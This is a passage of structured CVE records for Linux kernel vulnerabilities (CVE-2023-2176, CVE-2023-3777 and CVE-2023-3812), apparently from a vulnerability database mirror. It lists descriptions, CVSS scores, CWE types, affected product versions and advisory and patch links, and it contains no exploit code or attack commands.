          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Kernel",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "Linux 6.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability was found in compare_netdev_and_ip in drivers/infiniband/core/cma.c in RDMA in the Linux Kernel. The improper cleanup results in out-of-boundary read, where a local user can utilize this problem to crash the system or escalation of privilege."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-125",
              "description": "CWE-125",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-06-09T00:00:00.000Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "url": "https://www.spinics.net/lists/linux-rdma/msg114749.html"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20230609-0005/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2023-2176",
    "datePublished": "2023-04-20T00:00:00.000Z",
    "dateReserved": "2023-04-19T00:00:00.000Z",
    "dateUpdated": "2025-05-05T16:01:21.860Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2023-3777 (GCVE-0-2023-3777)

Vulnerability from cvelistv5 – Published: 2023-09-06 13:50 – Updated: 2026-10-14 21:13

Title

Use-after-free in Linux kernel's netfilter: nf_tables component

Summary

A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation. When nf_tables_delrule() is flushing table rules, it is not checked whether the chain is bound and the chain's owner rule can also release the objects in certain circumstances. We recommend upgrading past commit 6eaf41e87a223ae6f8e7a28d6e78384ad7e407f8.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Google CNA under the Google root

CNA scorecard B 77/100 over 40 records in the last 180 days details

References

6 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/t…	patch
https://kernel.dance/6eaf41e87a223ae6f8e7a28d6e78…
https://www.debian.org/security/2023/dsa-5492
http://packetstormsecurity.com/files/175072/Kerne…
http://packetstormsecurity.com/files/175963/Kerne…
https://cert-portal.siemens.com/productcert/html/…

Impacted products

2 products

Vendor	Product	Version
Linux	Kernel	Affected: 5.9 , < 6.5 (custom)
Siemens	SIMATIC S7-1500 TM MFP - GNU/Linux subsystem	Affected: 0 , < V1.1 (custom)

Date Public

2023-07-20 15:21

Credits

Kevin Rich

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T07:08:50.184Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6eaf41e87a223ae6f8e7a28d6e78384ad7e407f8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://kernel.dance/6eaf41e87a223ae6f8e7a28d6e78384ad7e407f8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.debian.org/security/2023/dsa-5492"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://packetstormsecurity.com/files/175072/Kernel-Live-Patch-Security-Notice-LSN-0098-1.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://packetstormsecurity.com/files/175963/Kernel-Live-Patch-Security-Notice-LSN-0099-1.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V1.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-14T21:13:45.609Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-794697.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageName": "kernel",
          "product": "Kernel",
          "repo": "https://git.kernel.org",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6.5",
              "status": "affected",
              "version": "5.9",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Kevin Rich"
        }
      ],
      "datePublic": "2023-07-20T15:21:11.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A use-after-free vulnerability in the Linux kernel\u0027s netfilter: nf_tables component can be exploited to achieve local privilege escalation.\n\nWhen nf_tables_delrule() is flushing table rules, it is not checked whether the chain is bound and the chain\u0027s owner rule can also release the objects in certain circumstances.\n\nWe recommend upgrading past commit 6eaf41e87a223ae6f8e7a28d6e78384ad7e407f8."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-233",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-233 Privilege Escalation"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "CWE-416 Use After Free",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-11-29T15:06:38.557Z",
        "orgId": "14ed7db2-1595-443d-9d34-6215bf890778",
        "shortName": "Google"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6eaf41e87a223ae6f8e7a28d6e78384ad7e407f8"
        },
        {
          "url": "https://kernel.dance/6eaf41e87a223ae6f8e7a28d6e78384ad7e407f8"
        },
        {
          "url": "https://www.debian.org/security/2023/dsa-5492"
        },
        {
          "url": "http://packetstormsecurity.com/files/175072/Kernel-Live-Patch-Security-Notice-LSN-0098-1.html"
        },
        {
          "url": "http://packetstormsecurity.com/files/175963/Kernel-Live-Patch-Security-Notice-LSN-0099-1.html"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Use-after-free in Linux kernel\u0027s netfilter: nf_tables component",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778",
    "assignerShortName": "Google",
    "cveId": "CVE-2023-3777",
    "datePublished": "2023-09-06T13:50:26.344Z",
    "dateReserved": "2023-07-19T16:02:06.626Z",
    "dateUpdated": "2026-10-14T21:13:45.609Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-3812 (GCVE-0-2023-3812)

Vulnerability from cvelistv5 – Published: 2023-07-24 15:19 – Updated: 2026-02-26 20:27

Title

Kernel: tun: bugs for oversize packet when napi frags enabled in tun_napi_alloc_frags

Summary

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-03-05 18:36 UTC

CWE

CWE-787 - Out-of-bounds Write

Assigner

redhat CNA under the redhat root

CNA scorecard B 82/100 over 1088 records in the last 180 days details

References

26 references

URL	Tags
https://access.redhat.com/errata/RHSA-2023:6799	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2023:6813	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2023:7370	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2023:7379	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2023:7382	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2023:7389	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2023:7411	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2023:7418	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2023:7548	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2023:7549	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2023:7554	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:0340	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:0378	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:0412	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:0461	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:0554	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:0562	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:0563	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:0575	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:0593	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:1961	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:2006	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2024:2008	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/security/cve/CVE-2023-3812	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2224048	issue-trackingx_refsource_REDHAT
https://git.kernel.org/pub/scm/linux/kernel/git/t…

Impacted products

31 products

Vendor	Product	Version
Red Hat	Red Hat Enterprise Linux 8	Unaffected: 0:4.18.0-513.9.1.rt7.311.el8_9 , < * (rpm) cpe:/a:redhat:enterprise_linux:8::nfv cpe:/a:redhat:enterprise_linux:8::realtime
Red Hat	Red Hat Enterprise Linux 8	Unaffected: 0:4.18.0-513.9.1.el8_9 , < * (rpm) cpe:/o:redhat:enterprise_linux:8::baseos cpe:/a:redhat:enterprise_linux:8::crb
Red Hat	Red Hat Enterprise Linux 8	cpe:/o:redhat:enterprise_linux:8::baseos
Red Hat	Red Hat Enterprise Linux 8.1 Update Services for SAP Solutions	cpe:/o:redhat:rhel_e4s:8.1::baseos
Red Hat	Red Hat Enterprise Linux 8.1 Update Services for SAP Solutions	Unaffected: 0:4.18.0-147.94.1.el8_1 , < * (rpm) cpe:/o:redhat:rhel_e4s:8.1::baseos
Red Hat	Red Hat Enterprise Linux 8.2 Advanced Update Support	Unaffected: 0:4.18.0-193.133.1.el8_2 , < * (rpm) cpe:/o:redhat:rhel_e4s:8.2::baseos cpe:/o:redhat:rhel_aus:8.2::baseos cpe:/o:redhat:rhel_tus:8.2::baseos
Red Hat	Red Hat Enterprise Linux 8.2 Telecommunications Update Service	Unaffected: 0:4.18.0-193.133.1.rt13.184.el8_2 , < * (rpm) cpe:/a:redhat:rhel_tus:8.2::realtime cpe:/a:redhat:rhel_tus:8.2::nfv
Red Hat	Red Hat Enterprise Linux 8.2 Telecommunications Update Service	Unaffected: 0:4.18.0-193.133.1.el8_2 , < * (rpm) cpe:/o:redhat:rhel_e4s:8.2::baseos cpe:/o:redhat:rhel_aus:8.2::baseos cpe:/o:redhat:rhel_tus:8.2::baseos
Red Hat	Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions	cpe:/o:redhat:rhel_e4s:8.2::baseos
Red Hat	Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions	Unaffected: 0:4.18.0-193.133.1.el8_2 , < * (rpm) cpe:/o:redhat:rhel_e4s:8.2::baseos cpe:/o:redhat:rhel_aus:8.2::baseos cpe:/o:redhat:rhel_tus:8.2::baseos
Red Hat	Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support	Unaffected: 0:4.18.0-305.120.1.el8_4 , < * (rpm) cpe:/o:redhat:rhel_tus:8.4::baseos cpe:/o:redhat:rhel_aus:8.4::baseos cpe:/o:redhat:rhel_e4s:8.4::baseos
Red Hat	Red Hat Enterprise Linux 8.4 Telecommunications Update Service	Unaffected: 0:4.18.0-305.120.1.rt7.196.el8_4 , < * (rpm) cpe:/a:redhat:rhel_tus:8.4::nfv cpe:/a:redhat:rhel_tus:8.4::realtime
Red Hat	Red Hat Enterprise Linux 8.4 Telecommunications Update Service	Unaffected: 0:4.18.0-305.120.1.el8_4 , < * (rpm) cpe:/o:redhat:rhel_tus:8.4::baseos cpe:/o:redhat:rhel_aus:8.4::baseos cpe:/o:redhat:rhel_e4s:8.4::baseos
Red Hat	Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions	Unaffected: 0:4.18.0-305.120.1.el8_4 , < * (rpm) cpe:/o:redhat:rhel_tus:8.4::baseos cpe:/o:redhat:rhel_aus:8.4::baseos cpe:/o:redhat:rhel_e4s:8.4::baseos
Red Hat	Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions	cpe:/o:redhat:rhel_e4s:8.4::baseos
Red Hat	Red Hat Enterprise Linux 8.6 Extended Update Support	cpe:/o:redhat:rhel_eus:8.6::baseos
Red Hat	Red Hat Enterprise Linux 8.6 Extended Update Support	Unaffected: 0:4.18.0-372.87.1.el8_6 , < * (rpm) cpe:/o:redhat:rhel_eus:8.6::baseos cpe:/a:redhat:rhel_eus:8.6::crb cpe:/o:redhat:rhev_hypervisor:4.4::el8
Red Hat	Red Hat Enterprise Linux 8.8 Extended Update Support	cpe:/o:redhat:rhel_eus:8.8::baseos
Red Hat	Red Hat Enterprise Linux 8.8 Extended Update Support	Unaffected: 0:4.18.0-477.43.1.el8_8 , < * (rpm) cpe:/a:redhat:rhel_eus:8.8::crb cpe:/o:redhat:rhel_eus:8.8::baseos
Red Hat	Red Hat Enterprise Linux 9	Unaffected: 0:5.14.0-362.18.1.el9_3 , < * (rpm) cpe:/a:redhat:enterprise_linux:9::realtime cpe:/a:redhat:enterprise_linux:9::crb cpe:/o:redhat:enterprise_linux:9::baseos cpe:/a:redhat:enterprise_linux:9::appstream cpe:/a:redhat:enterprise_linux:9::nfv
Red Hat	Red Hat Enterprise Linux 9	cpe:/o:redhat:enterprise_linux:9::baseos
Red Hat	Red Hat Enterprise Linux 9.0 Extended Update Support	Unaffected: 0:5.14.0-70.80.1.el9_0 , < * (rpm) cpe:/o:redhat:rhel_eus:9.0::baseos cpe:/a:redhat:rhel_eus:9.0::crb cpe:/a:redhat:rhel_eus:9.0::appstream
Red Hat	Red Hat Enterprise Linux 9.0 Extended Update Support	Unaffected: 0:5.14.0-70.80.1.rt21.151.el9_0 , < * (rpm) cpe:/a:redhat:rhel_eus:9.0::realtime cpe:/a:redhat:rhel_eus:9.0::nfv
Red Hat	Red Hat Enterprise Linux 9.0 Extended Update Support	cpe:/o:redhat:rhel_eus:9.0::baseos
Red Hat	Red Hat Enterprise Linux 9.2 Extended Update Support	Unaffected: 0:5.14.0-284.40.1.el9_2 , < * (rpm) cpe:/a:redhat:rhel_eus:9.2::crb cpe:/o:redhat:rhel_eus:9.2::baseos cpe:/a:redhat:rhel_eus:9.2::appstream
Red Hat	Red Hat Enterprise Linux 9.2 Extended Update Support	Unaffected: 0:5.14.0-284.40.1.rt14.325.el9_2 , < * (rpm) cpe:/a:redhat:rhel_eus:9.2::realtime cpe:/a:redhat:rhel_eus:9.2::nfv
Red Hat	Red Hat Enterprise Linux 9.2 Extended Update Support	cpe:/o:redhat:rhel_eus:9.2::baseos
Red Hat	Red Hat Virtualization 4 for Red Hat Enterprise Linux 8	Unaffected: 0:4.18.0-372.87.1.el8_6 , < * (rpm) cpe:/o:redhat:rhel_eus:8.6::baseos cpe:/a:redhat:rhel_eus:8.6::crb cpe:/o:redhat:rhev_hypervisor:4.4::el8
Red Hat	Red Hat Enterprise Linux 6	cpe:/o:redhat:enterprise_linux:6
Red Hat	Red Hat Enterprise Linux 7	cpe:/o:redhat:enterprise_linux:7
Red Hat	Red Hat Enterprise Linux 9	cpe:/o:redhat:enterprise_linux:9

Date Public

2022-10-22 00:00

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T07:08:50.501Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "RHSA-2023:6799",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:6799"
          },
          {
            "name": "RHSA-2023:6813",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:6813"
          },
          {
            "name": "RHSA-2023:7370",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:7370"
          },
          {
            "name": "RHSA-2023:7379",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:7379"
          },
          {
            "name": "RHSA-2023:7382",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:7382"
          },
          {
            "name": "RHSA-2023:7389",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:7389"
          },
          {
            "name": "RHSA-2023:7411",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:7411"
          },
          {
            "name": "RHSA-2023:7418",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:7418"
          },
          {
            "name": "RHSA-2023:7548",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:7548"
          },
          {
            "name": "RHSA-2023:7549",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:7549"
          },
          {
            "name": "RHSA-2023:7554",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2023:7554"
          },
          {
            "name": "RHSA-2024:0340",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:0340"
          },
          {
            "name": "RHSA-2024:0378",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:0378"
          },
          {
            "name": "RHSA-2024:0412",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:0412"
          },
          {
            "name": "RHSA-2024:0461",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:0461"
          },
          {
            "name": "RHSA-2024:0554",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:0554"
          },
          {
            "name": "RHSA-2024:0562",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:0562"
          },
          {
            "name": "RHSA-2024:0563",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:0563"
          },
          {
            "name": "RHSA-2024:0575",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:0575"
          },
          {
            "name": "RHSA-2024:0593",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:0593"
          },
          {
            "name": "RHSA-2024:1961",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:1961"
          },
          {
            "name": "RHSA-2024:2006",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:2006"
          },
          {
            "name": "RHSA-2024:2008",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2024:2008"
          },
          {
            "tags": [
              "vdb-entry",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/security/cve/CVE-2023-3812"
          },
          {
            "name": "RHBZ#2224048",
            "tags": [
              "issue-tracking",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2224048"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=363a5328f4b0"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-3812",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-05T18:36:18.926997Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-05T18:47:48.945Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:8::nfv",
            "cpe:/a:redhat:enterprise_linux:8::realtime"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel-rt",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-513.9.1.rt7.311.el8_9",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:8::baseos",
            "cpe:/a:redhat:enterprise_linux:8::crb"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-513.9.1.el8_9",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:8::baseos"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kpatch-patch",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_e4s:8.1::baseos"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kpatch-patch",
          "product": "Red Hat Enterprise Linux 8.1 Update Services for SAP Solutions",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_e4s:8.1::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8.1 Update Services for SAP Solutions",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-147.94.1.el8_1",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_e4s:8.2::baseos",
            "cpe:/o:redhat:rhel_aus:8.2::baseos",
            "cpe:/o:redhat:rhel_tus:8.2::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8.2 Advanced Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-193.133.1.el8_2",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_tus:8.2::realtime",
            "cpe:/a:redhat:rhel_tus:8.2::nfv"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel-rt",
          "product": "Red Hat Enterprise Linux 8.2 Telecommunications Update Service",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-193.133.1.rt13.184.el8_2",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_e4s:8.2::baseos",
            "cpe:/o:redhat:rhel_aus:8.2::baseos",
            "cpe:/o:redhat:rhel_tus:8.2::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8.2 Telecommunications Update Service",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-193.133.1.el8_2",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_e4s:8.2::baseos"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kpatch-patch",
          "product": "Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_e4s:8.2::baseos",
            "cpe:/o:redhat:rhel_aus:8.2::baseos",
            "cpe:/o:redhat:rhel_tus:8.2::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-193.133.1.el8_2",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_tus:8.4::baseos",
            "cpe:/o:redhat:rhel_aus:8.4::baseos",
            "cpe:/o:redhat:rhel_e4s:8.4::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-305.120.1.el8_4",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_tus:8.4::nfv",
            "cpe:/a:redhat:rhel_tus:8.4::realtime"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel-rt",
          "product": "Red Hat Enterprise Linux 8.4 Telecommunications Update Service",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-305.120.1.rt7.196.el8_4",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_tus:8.4::baseos",
            "cpe:/o:redhat:rhel_aus:8.4::baseos",
            "cpe:/o:redhat:rhel_e4s:8.4::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8.4 Telecommunications Update Service",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-305.120.1.el8_4",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_tus:8.4::baseos",
            "cpe:/o:redhat:rhel_aus:8.4::baseos",
            "cpe:/o:redhat:rhel_e4s:8.4::baseos"
          ],
